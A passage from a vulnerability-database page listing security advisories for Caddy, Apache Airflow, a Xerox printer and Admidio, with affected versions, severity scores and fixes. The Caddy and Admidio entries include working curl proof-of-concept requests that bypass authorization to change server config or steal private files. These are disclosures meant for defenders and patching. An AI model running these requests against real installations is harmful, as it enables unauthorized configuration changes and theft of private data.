(OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e GET /config/apps/http/servers/srv/routes/0 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: application/json\n\u003c Etag: \"/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3\"\n\u003c Date: Fri, 20 Mar 2026 02:15:17 GMT\n\u003c Content-Length: 63\n\u003c \n{\"handle\":[{\"body\":\"route zero\",\"handler\":\"static_response\"}]}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: application/json\n\u003c Etag: \"/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d\"\n\u003c Date: Fri, 20 Mar 2026 02:15:28 GMT\n\u003c Content-Length: 62\n\u003c \n{\"handle\":[{\"body\":\"route one\",\"handler\":\"static_response\"}]}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/02\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e GET /config/apps/http/servers/srv/routes/02 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 400 Bad Request\n\u003c Content-Type: application/json\n\u003c Date: Fri, 20 Mar 2026 02:15:33 GMT\n\u003c Content-Length: 84\n\u003c \n{\"error\":\"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\"}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# curl -vk \\\n    -X PATCH \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    --data \u0027{\"handle\":[{\"handler\":\"static_response\",\"body\":\"patched route one\"}]}\u0027 \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e Content-Type: application/json\n\u003e Content-Length: 69\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 200 OK\n\u003c Date: Fri, 20 Mar 2026 02:15:39 GMT\n\u003c Content-Length: 0\n\u003c Connection: close\n\u003c \n* Closing connection\n* TLSv1.3 (IN), TLS alert, close notify (256):\n* TLSv1.3 (OUT), TLS alert, close notify (256):\nroot@dbdd95a60758:/caddy# curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: application/json\n\u003c Etag: \"/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0\"\n\u003c Date: Fri, 20 Mar 2026 02:15:49 GMT\n\u003c Content-Length: 70\n\u003c \n{\"handle\":[{\"body\":\"patched route one\",\"handler\":\"static_response\"}]}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# \n```\n\n  ## Suggested Fix\n\n  The authorization layer should not allow a path that resolves to a different config object than the one represented by the authorized path.\n\n  A practical fix would be to reject non-canonical numeric array components in /config traversal and/or authorization.\n\n  For example:\n\n  - allow 0\n  - allow 1\n  - reject 01\n  - reject 002\n\n  One possible helper:\n\n```\n  func parseCanonicalIndex(s string) (int, error) {\n  \tif s == \"\" {\n  \t\treturn 0, fmt.Errorf(\"empty index\")\n  \t}\n  \tif s != \"0\" \u0026\u0026 strings.HasPrefix(s, \"0\") {\n  \t\treturn 0, fmt.Errorf(\"non-canonical array index\")\n  \t}\n  \treturn strconv.Atoi(s)\n  }\n```\n\n  Then use that helper anywhere /config array indices are parsed.\n\n  ## Why This Fix Makes Sense\n\n  This preserves intended config addressing while preventing ambiguous selectors from referring to different objects than the authorization layer appears to permit.\n\n  It would still allow:\n\n  - /routes/0\n  - /routes/1\n\n  but reject:\n\n  - /routes/01\n  - /routes/002\n\n  That removes the authorization/resource mismatch.\n\n  ## Suggested Regression Tests\n\n  1. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/0, expect allowed.\n  2. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/01, expect denied or invalid.\n  3. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/02, expect denied or invalid.\n  4. With PATCH allowed on /.../routes/0, verify that /.../routes/01 cannot modify routes[1].",
  "id": "GHSA-x5w9-xh9r-mvfc",
  "modified": "2026-05-19T15:51:31Z",
  "published": "2026-05-19T15:51:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-x5w9-xh9r-mvfc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Caddy: Remote Admin Authorization Bypass in `/config` API via Array Index Normalization"
}

GHSA-X5WM-J6WH-2834

Vulnerability from github – Published: 2026-06-01 09:31 – Updated: 2026-07-09 21:00
VLAI
Summary
Apache Airflow has an Incorrect Authorization issue
Details

Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow's Log server authorized JWT tokens against Dag IDs by applying Python's str.lstrip() to the requested path segment when verifying the JWT's sub claim. str.lstrip() strips any of a set of characters from the left (not a prefix), so a JWT issued for a Dag named e.g. dag_a would authorize log access to any other Dag whose name began with any subset of the characters {d, a, g, _} (e.g. dag_attacker, aaaa_target, _dag_secret). Such an authenticated worker could enumerate and read worker logs of other Dags whose names happened to share that character-class prefix, leaking task output and error traces beyond the documented per-Dag isolation boundary. Affects deployments relying on per-Dag log-access scoping (multi-team, shared-executor, shared-worker topologies). Users are advised to upgrade to apache-airflow 3.2.2 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-airflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T21:00:25Z",
    "nvd_published_at": "2026-06-01T09:16:19Z",
    "severity": "LOW"
  },
  "details": "Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow\u0027s Log server authorized JWT tokens against Dag IDs by applying Python\u0027s `str.lstrip()` to the requested path segment when verifying the JWT\u0027s `sub` claim. `str.lstrip()` strips any of a *set* of characters from the left (not a prefix), so a JWT issued for a Dag named e.g. `dag_a` would authorize log access to any other Dag whose name began with any subset of the characters `{d, a, g, _}` (e.g. `dag_attacker`, `aaaa_target`, `_dag_secret`). Such an authenticated worker could enumerate and read worker logs of other Dags whose names happened to share that character-class prefix, leaking task output and error traces beyond the documented per-Dag isolation boundary. Affects deployments relying on per-Dag log-access scoping (multi-team, shared-executor, shared-worker topologies). Users are advised to upgrade to `apache-airflow` 3.2.2 or later.",
  "id": "GHSA-x5wm-j6wh-2834",
  "modified": "2026-07-09T21:00:25Z",
  "published": "2026-06-01T09:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/airflow/pull/66749"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/airflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/apache-airflow/PYSEC-2026-174.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/hz1q7vg65vq2h4fobv5ww8tp257fbqj9"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/31/13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Airflow has an Incorrect Authorization issue"
}

GHSA-X5XJ-XQ4V-8W7F

Vulnerability from github – Published: 2022-04-05 00:00 – Updated: 2022-04-13 00:00
VLAI
Details

Xerox ColorQube 8580 was discovered to contain an access control issue which allows attackers to print, view the status, and obtain sensitive information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-26572"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-04T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Xerox ColorQube 8580 was discovered to contain an access control issue which allows attackers to print, view the status, and obtain sensitive information.",
  "id": "GHSA-x5xj-xq4v-8w7f",
  "modified": "2022-04-13T00:00:47Z",
  "published": "2022-04-05T00:00:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26572"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yj12341/ColorQube-8580-/blob/main/README.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X628-457G-2PW9

Vulnerability from github – Published: 2026-05-29 22:06 – Updated: 2026-05-29 22:06
VLAI
Summary
Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders
Details

Summary

modules/documents-files.php gates state-changing modes by checking that the actor has hasUploadRight() on the URL parameter folder_uuid. The move_save handler then operates on a separate URL parameter file_uuid and calls File::moveToFolder($destFolderUUID). File::moveToFolder() checks the upload right on the destination folder but never on the source folder containing the file. As a result, any user who can upload to any single folder can move any file from any other folder — including private folders to which they have no view rights — into a folder they control, and then download it. Confidentiality is broken (private file contents leak) and integrity is broken (the file is removed from the original location).

Details

Vulnerable Code

modules/documents-files.php:79-89 — top-level rights check binds to URL folder_uuid:

if ($getMode != 'list' && $getMode != 'download') {
    // check the rights of the current folder
    // user must be administrator or must have the right to upload files
    $folder = new Folder($gDb);
    $folder->getFolderForDownload($getFolderUUID);

    if (!$folder->hasUploadRight()) {
        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
        // => EXIT
    }
}

modules/documents-files.php:187-204 — the move_save branch loads the file by UUID without revalidating the file's actual parent folder:

case 'move_save':
    $documentsFilesMoveForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
    $formValues = $documentsFilesMoveForm->validate($_POST);

    if ($getFileUUID !== '') {
        $file = new File($gDb);
        $file->readDataByUuid($getFileUUID);                       // <-- no permission check on the file's source folder
        $file->moveToFolder($formValues['adm_destination_folder_uuid']);
    } else {
        $folder = new Folder($gDb);
        $folder->readDataByUuid($getFolderUUID);
        $folder->moveToFolder($formValues['adm_destination_folder_uuid']);
    }

    $gNavigation->deleteLastUrl();
    echo json_encode(array('status' => 'success', 'url' => $gNavigation->getUrl()));
    break;

src/Documents/Entity/File.php:212-223moveToFolder checks only the destination:

public function moveToFolder(string $destFolderUUID)
{
    $folder = new Folder($this->db);
    $folder->readDataByUuid($destFolderUUID);

    if ($folder->hasUploadRight()) {                               // <-- destination only
        FileSystemUtils::moveFile($this->getFullFilePath(),
                                  $folder->getFullFolderPath() . '/' . $this->getValue('fil_name'));
        $this->setValue('fil_fol_id', $folder->getValue('fol_id'));
        $this->save();
    }
}

There is no check that the actor has any right (view, edit, upload) on the folder that currently contains the file. The file_uuid URL parameter is independent of folder_uuid, so an attacker can pass folder_uuid=<a folder I can upload to> together with file_uuid=<a file in a folder I cannot read>. The top-level rights check passes; the destination check passes; the file is moved.

Exploitation Primitive

  1. Attacker user lowuser holds folder_upload on a single Documents folder public_uploadable (UUID c41a99c0-…). They have no view or edit rights on private_admin_only (UUID db1f71b9-…, which is a role-restricted folder containing private_to_delete.txt, UUID 559ed352-…).
  2. Render the move form with mismatched UUIDs to register a form key in the session: GET /modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…
  3. Submit move_save with the same mismatch: POST /modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-… with adm_csrf_token=<from step 2> and adm_destination_folder_uuid=c41a99c0-…. Server replies {"status":"success"}. The private_to_delete.txt row in adm_files now has fil_fol_id pointing at the public-uploadable folder.
  4. Download the file from its new (publicly-accessible) location: GET /modules/documents-files.php?mode=download&file_uuid=559ed352-… returns the bytes of private_to_delete.txt.

PoC

Tested live on HEAD c5cde53. The trace below is the agent-captured run; I verified the code paths against the source listed above.

# 0. starting state — lowuser has upload right ONLY on c41a99c0-… (public_uploadable)
$ curl -sb $cookie http://127.0.0.1:8085/modules/documents-files.php?folder_uuid=db1f71b9-…
"You do not have the required permission to perform this action."

# 1. render the move form using the public folder UUID (where lowuser has upload right)
#    paired with the PRIVATE file UUID
$ curl -sb $cookie \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…"
# form rendered, CSRF token X is now in session

# 2. submit move_save with the same param mismatch
$ curl -sb $cookie -X POST \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-…" \
    -d "adm_csrf_token=X&adm_destination_folder_uuid=c41a99c0-…"
{"status":"success", "url":"…"}

# 3. download the leaked file
$ curl -sb $cookie \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=download&file_uuid=559ed352-…"
private_to_delete_data

The DB record for the file now points at the attacker's folder (fil_fol_id updated), and the file has been physically moved on disk by FileSystemUtils::moveFile.

Impact

Any user with folder_upload right on a single Documents folder gains:

  • Read access to every file in private folders — admin-only documents, board-only files, leader-only resources, role-restricted attachments — by moving them into a folder the attacker owns and then downloading.
  • Write/destruction primitive — the file is no longer in its original folder. Users who depended on the file at its legitimate location can no longer find it. The moved file's permissions are now those of the destination, so previously-restricted content can be exposed to other low-privilege users (whoever else has view rights on the destination folder).

In multi-tenant Admidio installations where one shared deployment hosts multiple groups (e.g., a federation of associations), the bug crosses organisation-internal Documents trust boundaries: a member of group A holding folder_upload on group A's public folder can lift any private file from group B.

PR:L reflects that the actor must hold a single Documents upload right (a routinely-granted role attribute, not an administrator privilege). S:U because the impact stays inside the Documents module's own access-control model, but the access boundary it bypasses is the one that operators most rely on. C:H because confidentiality of any file in any private folder is broken; I:H because file location is mutated.

Recommended Fix

File::moveToFolder() must check that the actor has upload right (or at least edit / move right) on the file's source folder, not just on the destination. The minimal patch:

// src/Documents/Entity/File.php
public function moveToFolder(string $destFolderUUID)
{
    // re-read the source folder this file currently lives in, and check rights on it
    $sourceFolder = new Folder($this->db);
    $sourceFolder->readData($this->getValue('fil_fol_id'));
    if (!$sourceFolder->hasUploadRight()) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    $destFolder = new Folder($this->db);
    $destFolder->readDataByUuid($destFolderUUID);

    if (!$destFolder->hasUploadRight()) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    FileSystemUtils::moveFile($this->getFullFilePath(),
                              $destFolder->getFullFolderPath() . '/' . $this->getValue('fil_name'));
    $this->setValue('fil_fol_id', $destFolder->getValue('fol_id'));
    $this->save();
}

Equivalently, documents-files.php case 'move_save' should resolve the file's actual parent folder before the operation and call getFileForDownload() plus hasUploadRight() on that parent. The same fix is needed for Folder::moveToFolder() (the move-folder path is identical in shape).

A regression test should: 1. Create user lowuser with upload right only on folder A. 2. Place a private file in folder B with no rights for lowuser. 3. As lowuser, render mode=move with folder_uuid=A&file_uuid=<B's file>, then POST mode=move_save with the same. 4. Assert the response is SYS_NO_RIGHTS and the file's fil_fol_id is unchanged.

Related

mode=file_rename_save shares the same root cause and is filed separately (06-documents-cross-folder-rename-idor.md); both bugs flow from the top-level rights check binding to URL folder_uuid rather than the file's actual parent.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47231"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:06:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`modules/documents-files.php` gates state-changing modes by checking that the actor has `hasUploadRight()` on the URL parameter `folder_uuid`. The `move_save` handler then operates on a *separate* URL parameter `file_uuid` and calls `File::moveToFolder($destFolderUUID)`. `File::moveToFolder()` checks the upload right on the **destination** folder but never on the **source** folder containing the file. As a result, any user who can upload to any single folder can move any file from any other folder \u2014 including private folders to which they have no view rights \u2014 into a folder they control, and then download it. Confidentiality is broken (private file contents leak) and integrity is broken (the file is removed from the original location).\n\n## Details\n\n### Vulnerable Code\n\n`modules/documents-files.php:79-89` \u2014 top-level rights check binds to URL `folder_uuid`:\n\n```php\nif ($getMode != \u0027list\u0027 \u0026\u0026 $getMode != \u0027download\u0027) {\n    // check the rights of the current folder\n    // user must be administrator or must have the right to upload files\n    $folder = new Folder($gDb);\n    $folder-\u003egetFolderForDownload($getFolderUUID);\n\n    if (!$folder-\u003ehasUploadRight()) {\n        $gMessage-\u003eshow($gL10n-\u003eget(\u0027SYS_NO_RIGHTS\u0027));\n        // =\u003e EXIT\n    }\n}\n```\n\n`modules/documents-files.php:187-204` \u2014 the `move_save` branch loads the file by UUID without revalidating the file\u0027s actual parent folder:\n\n```php\ncase \u0027move_save\u0027:\n    $documentsFilesMoveForm = $gCurrentSession-\u003egetFormObject($_POST[\u0027adm_csrf_token\u0027]);\n    $formValues = $documentsFilesMoveForm-\u003evalidate($_POST);\n\n    if ($getFileUUID !== \u0027\u0027) {\n        $file = new File($gDb);\n        $file-\u003ereadDataByUuid($getFileUUID);                       // \u003c-- no permission check on the file\u0027s source folder\n        $file-\u003emoveToFolder($formValues[\u0027adm_destination_folder_uuid\u0027]);\n    } else {\n        $folder = new Folder($gDb);\n        $folder-\u003ereadDataByUuid($getFolderUUID);\n        $folder-\u003emoveToFolder($formValues[\u0027adm_destination_folder_uuid\u0027]);\n    }\n\n    $gNavigation-\u003edeleteLastUrl();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027, \u0027url\u0027 =\u003e $gNavigation-\u003egetUrl()));\n    break;\n```\n\n`src/Documents/Entity/File.php:212-223` \u2014 `moveToFolder` checks only the destination:\n\n```php\npublic function moveToFolder(string $destFolderUUID)\n{\n    $folder = new Folder($this-\u003edb);\n    $folder-\u003ereadDataByUuid($destFolderUUID);\n\n    if ($folder-\u003ehasUploadRight()) {                               // \u003c-- destination only\n        FileSystemUtils::moveFile($this-\u003egetFullFilePath(),\n                                  $folder-\u003egetFullFolderPath() . \u0027/\u0027 . $this-\u003egetValue(\u0027fil_name\u0027));\n        $this-\u003esetValue(\u0027fil_fol_id\u0027, $folder-\u003egetValue(\u0027fol_id\u0027));\n        $this-\u003esave();\n    }\n}\n```\n\nThere is no check that the actor has any right (view, edit, upload) on the folder that *currently* contains the file. The `file_uuid` URL parameter is independent of `folder_uuid`, so an attacker can pass `folder_uuid=\u003ca folder I can upload to\u003e` together with `file_uuid=\u003ca file in a folder I cannot read\u003e`. The top-level rights check passes; the destination check passes; the file is moved.\n\n### Exploitation Primitive\n\n1. Attacker user `lowuser` holds `folder_upload` on a single Documents folder `public_uploadable` (UUID `c41a99c0-\u2026`). They have no view or edit rights on `private_admin_only` (UUID `db1f71b9-\u2026`, which is a role-restricted folder containing `private_to_delete.txt`, UUID `559ed352-\u2026`).\n2. Render the move form with mismatched UUIDs to register a form key in the session:\n   `GET /modules/documents-files.php?mode=move\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=559ed352-\u2026`\n3. Submit `move_save` with the same mismatch:\n   `POST /modules/documents-files.php?mode=move_save\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=559ed352-\u2026` with `adm_csrf_token=\u003cfrom step 2\u003e` and `adm_destination_folder_uuid=c41a99c0-\u2026`. Server replies `{\"status\":\"success\"}`. The `private_to_delete.txt` row in `adm_files` now has `fil_fol_id` pointing at the public-uploadable folder.\n4. Download the file from its new (publicly-accessible) location:\n   `GET /modules/documents-files.php?mode=download\u0026file_uuid=559ed352-\u2026` returns the bytes of `private_to_delete.txt`.\n\n## PoC\n\nTested live on HEAD `c5cde53`. The trace below is the agent-captured run; I verified the code paths against the source listed above.\n\n```\n# 0. starting state \u2014 lowuser has upload right ONLY on c41a99c0-\u2026 (public_uploadable)\n$ curl -sb $cookie http://127.0.0.1:8085/modules/documents-files.php?folder_uuid=db1f71b9-\u2026\n\"You do not have the required permission to perform this action.\"\n\n# 1. render the move form using the public folder UUID (where lowuser has upload right)\n#    paired with the PRIVATE file UUID\n$ curl -sb $cookie \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=move\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=559ed352-\u2026\"\n# form rendered, CSRF token X is now in session\n\n# 2. submit move_save with the same param mismatch\n$ curl -sb $cookie -X POST \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=move_save\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=559ed352-\u2026\" \\\n    -d \"adm_csrf_token=X\u0026adm_destination_folder_uuid=c41a99c0-\u2026\"\n{\"status\":\"success\", \"url\":\"\u2026\"}\n\n# 3. download the leaked file\n$ curl -sb $cookie \\\n    